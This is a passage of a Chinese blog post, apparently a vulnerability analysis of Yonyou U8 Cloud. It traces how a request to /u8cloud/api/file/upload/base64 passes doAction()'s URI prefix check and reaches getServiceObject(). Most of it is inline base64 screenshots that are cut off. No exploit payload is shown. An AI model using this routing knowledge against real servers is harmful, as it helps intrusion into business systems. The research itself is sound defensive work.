<p blockindex=12><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=13><code>ExtSystemServerEnum</code>是一个枚举类,包含<code>/u8cloud/yls</code>、<code>/u8cloud/extsystem/dst</code>、<code>/u8cloud/api/</code>、<code>/u8cloud/openapi/</code>四个常量。</p>
|
||||
<p blockindex=14><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=15>回到上面的<code>doAction()</code>方法,我们要保证我们的<code>request.getRequestURI()</code>必须是以上述四个常量之一开头才可以,否则会抛出异常,也就是说不能按照一般的<code>/servlet/*</code>路径根据模块名和包名去调用,否则就会报错。</p>
|
||||
<p blockindex=16>此时,如果我们访问的路径是<code>/u8cloud/api/file/upload/base64</code>,就会匹配到<code>/u8cloud/api/</code>,然后<code>serviceName</code>就被赋值为<code>u8cloud_api</code>。</p>
|
||||
<p blockindex=17>接着一路向下,进入<code>getServiceObject()</code>。</p>
|
||||
<p blockindex=18><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=19>根据<code>serviceName</code>也就是<code>u8cloud_api</code>去找对应的类。这里具体逻辑感兴趣的可以自行去分析,偷了个懒。</p>
|
||||
